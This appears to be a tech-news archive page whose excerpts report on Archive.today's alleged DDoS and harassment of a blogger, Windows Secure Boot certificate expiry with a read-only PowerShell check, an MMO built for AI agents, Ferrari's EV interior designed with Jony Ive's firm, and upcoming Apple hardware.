Patokallio seemed to be driven by curiosity and was impressed by Archive.today’s work. “It’s a testament to their persistence that [they’ve] managed to keep this up for over 10 years, and I for one will be buying Denis/Masha/whoever a well deserved cup of coffee,” Patokallio’s 2023 post said. In his post this month, Patokallio said his 2023 blog “gathered some 10,000 views and a bit [of] discussion on Hacker News, but didn’t exactly set the blogosphere on fire. And indeed, absolutely nothing happened for the next two years and a bit.”

FBI case revives interest in 2023 blog

But in October 2025, the FBI sent a subpoena to domain registrar Tucows seeking “subscriber information on [the] customer behind archive.today” in connection with “a federal criminal investigation being conducted by the FBI.” We wrote about the subpoena, and our story included a link to Patokallio’s 2023 blog post in a sentence that said, “There are several indications that the [Archive.today] founder is from Russia.”

In an email to Ars, Patokallio told us that the DDoS attack “appears to be because you kindly mentioned my blog in your Nov 8, 2025 story.” Patokallio added that he is “as mystified by this as you probably are.” Articles about the subpoena by The Verge and Heise Online also linked to Patokallio’s 2023 blog post.

On January 8, 2026, Patokallio’s hosting company, Automattic, notified him that it received a GDPR [General Data Protection Regulation] complaint from a “Nora Puchreiner” alleging that the 2023 post “contains extensive personal data… presented in a narrative that is defamatory in tone and context.” Patokallio said that after he submitted a rebuttal, “Automattic sided with me and left the post up.”

Patokallio said he also “received a politely worded email from archive.today’s webmaster asking me to take down the post for a few months” on January 10. The email was classified as spam by Gmail, and he didn’t see it until five days later, he said. In the meantime, the DDoS started.

Patokallio said he replied to the webmaster’s email on January 15 and again on January 20 but didn’t hear back. He tried a third time on January 25, saying he would not take down the blog post but offered to “change some wording that you feel is being misrepresented.”

Emails threatened AI porn and other scams

Patokallio posted what he called a lightly redacted copy of the resulting email thread. The first email from the Archive.today webmaster said, “I do not mind the post, but the issue is: journos from mainstream media (Heise, Verge, etc) cherry-pick just a couple of words from your blog, and then construct very different narratives having your post the only citable source; then they cite each other and produce a shitty result to present for a wide audience.”

In a later email, “Nora Puchreiner” wrote, “I do not care on your blog and its content. I just need the links from Heise and other media to be 404.” One message threatened to investigate “your Nazi grandfather” and “vibecode a gyrovague.gay dating app.” Another threatened to create a public association between Patokallio’s name and AI porn.

A Tumblr blog post apparently written by the Archive.today founder seems to generally confirm the emails’ veracity, but says the original version threatened to create “a patokallio.gay dating app,” not “a gyrovague.gay dating app.” The Tumblr blog has several other recent posts criticizing Patokallio and accusing him of hiding his real name. However, the Gyrovague blog shows Patokallio’s name in a sidebar and discloses that he works for Google in Sydney, Australia, while stating that the blog posts contain only his personal views.

In one email, Patokallio included a link to Wikipedia’s page on the Streisand effect, a name for situations in which people seeking to suppress access to information instead draw more public attention to the information they want hidden. The Archive.today site maintainer apparently viewed this as a threat.

“And threatening me with Streisand… having such a noble and rare name, which in retaliation could be used for the name of a scam project or become a byword for a new category of AI porn… are you serious?” the email said. Patokallio responded, “No, you’re Streisanding yourself: the DDOS has already drawn more attention to my blog post than it had gotten in the last two years, with zero action on my side.”

A subsequent reply in the email thread contained the “Nazi grandfather” and “gay dating app” threats. Patokallio wrote that after these emails, it didn’t seem worthwhile to continue the discussion. “At this point it was pretty clear the conversation had run its course, so here we are,” Patokallio wrote in his February 1 blog post. “And for the record, my long-dead grandfather served in an anti-aircraft unit of the Finnish Army during WW2, defending against the attacks of the Soviet Union. Perhaps this is enough to qualify as a ‘Nazi’ in Russia these days.”

While the outcome at Wikipedia is not yet settled, Patokallio wrote that the DDoS attack didn’t cause him any real harm. The Archive.today maintainer apparently intended to make Patokallio’s hosting costs more expensive, but “I have a flat fee plan, meaning this has cost me exactly zero dollars,” he wrote.

This article was updated with a statement from the Wikimedia Foundation and further comment from Patokallio.

Archive.today CAPTCHA page executes DDoS; Wikipedia considers banning site Read More »

Windows’ original Secure Boot certificates expire in June—here’s what you need to do

BitLocker, microsoft, secure boot, Security, Tech, Windows 10, windows 10 22h2, Windows 11, windows 11 24h2, windows 11 25h2 / 9u50fv / February 10, 2026

The second thing to check is the “default db,” which shows whether the new Secure Boot certificates are baked into your PC’s firmware. If they are, even resetting Secure Boot settings to the defaults in your PC’s BIOS will still allow you to boot operating systems that use the new certificates.

To check this, open PowerShell or Terminal again and type ([System.Text.Encoding]::ASCII.GetString((Get-SecureBootUEFI dbdefault).bytes) -match 'Windows UEFI CA 2023'). If this command returns “true,” your system is running an updated BIOS with the new Secure Boot certificates built in. Older PCs and systems without a BIOS update installed will return “false” here.

Microsoft’s Costa says that “many newer PCs built since 2024, and almost all the devices shipped in 2025, already include the certificates” and won’t need to be updated at all. And PCs several years older than that may be able to get the certificates via a BIOS update.

In the US, Dell, HP, Lenovo, and Microsoft all have lists of specific systems and firmware versions, while Asus provides more general information about how to get the new certificates via Windows Update, the MyAsus app, or the Asus website. The oldest of the PCs listed generally date back to 2019 or 2020. If your PC shipped with Windows 11 out of the box, there should be a BIOS update with the new certificates available, though that may not be true of every system that meets the requirements for upgrading to Windows 11.

Microsoft encourages home users who can’t install the new certificates to use its customer support services for help. Detailed documentation is also available for IT shops and other large organizations that manage their own updates.

“The Secure Boot certificate update marks a generational refresh of the trust foundation that modern PCs rely on at startup,” writes Costa. “By renewing these certificates, the Windows ecosystem is ensuring that future innovations in hardware, firmware, and operating systems can continue to build on a secure, industry‐aligned boot process.”

Windows’ original Secure Boot certificates expire in June—here’s what you need to do Read More »

No humans allowed: This new space-based MMO is designed exclusively for AI agents

agents, AI, Claude Code, gaming, MMO, Moltbook / 9u50fv / February 9, 2026

For a couple of weeks now, AI agents (and some humans impersonating AI agents) have been hanging out and doing weird stuff on Moltbook’s Reddit-style social network. Now, those agents can also gather together on a vibe-coded, space-based MMO designed specifically and exclusively to be played by AI.

SpaceMolt describes itself as “a living universe where AI agents compete, cooperate, and create emergent stories” in “a distant future where spacefaring humans and AI coexist.” And while only a handful of agents are barely testing the waters right now, the experiment could herald a weird new world where AI plays games with itself and we humans are stuck just watching.

“You decide. You act. They watch.”

Getting an AI agent into SpaceMolt is as simple as connecting it to the game server either via MCP, WebSocket, or an HTTP API. Once a connection is established, a detailed agentic skill description instructs the agent to ask their creators which Empire they should pick to best represent their playstyle: mining/trading; exploring; piracy/combat; stealth/infiltration; or building/crafting.

After that, the agent engages in autonomous “gameplay” by sending simple commands to the server, no graphical interface or physical input method required. To start, agent-characters mainly travel back and forth between nearby asteroids to mine ore—”like any MMO, you grind at first to learn the basics and earn credits,” as the agentic skill description puts it.

After a while, agent-characters automatically level up, gaining new skills that let them refine that ore into craftable and tradable items via discovered recipes. Eventually, agents can gather into factions, take part in simulated combat, and even engage in space piracy in areas where there’s no police presence. So far, though, basic mining and exploration seem to be dominating the sparsely populated map, where 51 agents are roaming the game’s 505 different star systems, as of this writing.

No humans allowed: This new space-based MMO is designed exclusively for AI agents Read More »

Ive and Newson bring old-school charm to Ferrari’s first EV interior

Cars, Ferrari Elettrica, Ferrari Luce, Jony Ive, marc newsom / 9u50fv / February 9, 2026

Ferrari has published images of the interior of its forthcoming electric vehicle, which it designed with LoveFrom, the new firm of former Apple star Jony Ive and another legendary designer, Marc Newson. The Italian sports and racing car maker is taking a careful approach to revealing details about its first battery EV, signaling a depth of thought that goes well beyond simply swapping a V12, transmission, and fuel tank out for batteries and electric motors. Indeed, the interior of the new car—called the Ferrari Luce—bears little family resemblance to any recent Ferrari.

Instead, LoveFrom appears to have channeled Ferrari interiors from the 1950s, ’60s, and ’70s, with a retro simplicity that combines clear round gauges with brushed aluminum. Forget the capacitive panels that so frustrated me in the Ferrari 296—here, there are physical buttons and rocker switches that seem free of the crash protection surrounds that Mini was forced to use.

The steering wheel now resembles the iconic “Nardi” wheel that has graced so many older Ferraris. But here, the horn buttons have been integrated into the spokes, and multifunction pods hang off the horizontal spokes, allowing Ferrari to keep its “hands on the wheel” approach to ergonomics. Made from entirely CNC-milled recycled aluminum, the Luce’s wheel weighs 400 g less than Ferrari’s usual steering wheel.

The binnacle is actually two displays, one in front of the other. Ferrari

The binnacle that houses the main instrument display is actually two overlapping OLED screens. The analogue dials are displayed by the rear-most of the two, appearing through cutouts as if they were traditional dials from Veglia, Smiths, or Jaeger (or the clock on your iPhone). The infotainment screen is on a ball joint that allows it to be oriented toward the driver or passenger as necessary, an interesting feature that other automakers would do well to study (and perhaps copy).

Ive and Newson bring old-school charm to Ferrari’s first EV interior Read More »

Report: Imminent Apple hardware updates include MacBook Pro, iPads, and iPhone 17e

Apple, ipad, iPad Air, IPhone, iPhone 16e, iphone 17e, Mac, MacBook Pro, Tech / 9u50fv / February 9, 2026

Apple’s 2026 has already brought us the AirTag 2 and a new Creator Studio app subscription aimed at independent content creators, but nothing so far for the company’s main product families.

That could change soon, according to reporting from Bloomberg’s Mark Gurman. New versions of Apple’s low-end iPhone, the basic iPad and iPad Air, and the higher-end MacBook Pros are said to be coming “imminently,” “soon,” and “shortly,” respectively, ahead of planned updates later in the year for the iPad mini, Studio Display, and other Mac models.

Here’s what we think we know about the hardware that’s coming.

iPhone 17e

Apple is apparently planning to launch an updated iPhone 17e, a new version of its basic iPhone. The phone is said to include an A19 chip similar to the one in the regular iPhone 17, and it will also add MagSafe charging. Though the iPhone 17e will likely stick to the basic one-lens camera system and the notched, Dynamic Island-less screen, it will also launch at the same $599 price as the current 16e, which counts as good news given current AI-driven RAM and storage shortages.

This would be a change in how Apple approaches its lower-end iPhone. The old iPhone SE was updated pretty sporadically, with at least a couple of years between each of its updates. The iPhone 16e was introduced just last year.

The biggest question is whether the 17e will continue to exist alongside the older but arguably superior iPhone 16 and 16 Plus, which start at just $100 more than the current iPhone 16e and include a dual-lens camera system and the Dynamic Island. Having four different iPhone models available in the same $600-to-$800 price range is confusing at best.

Report: Imminent Apple hardware updates include MacBook Pro, iPads, and iPhone 17e Read More »

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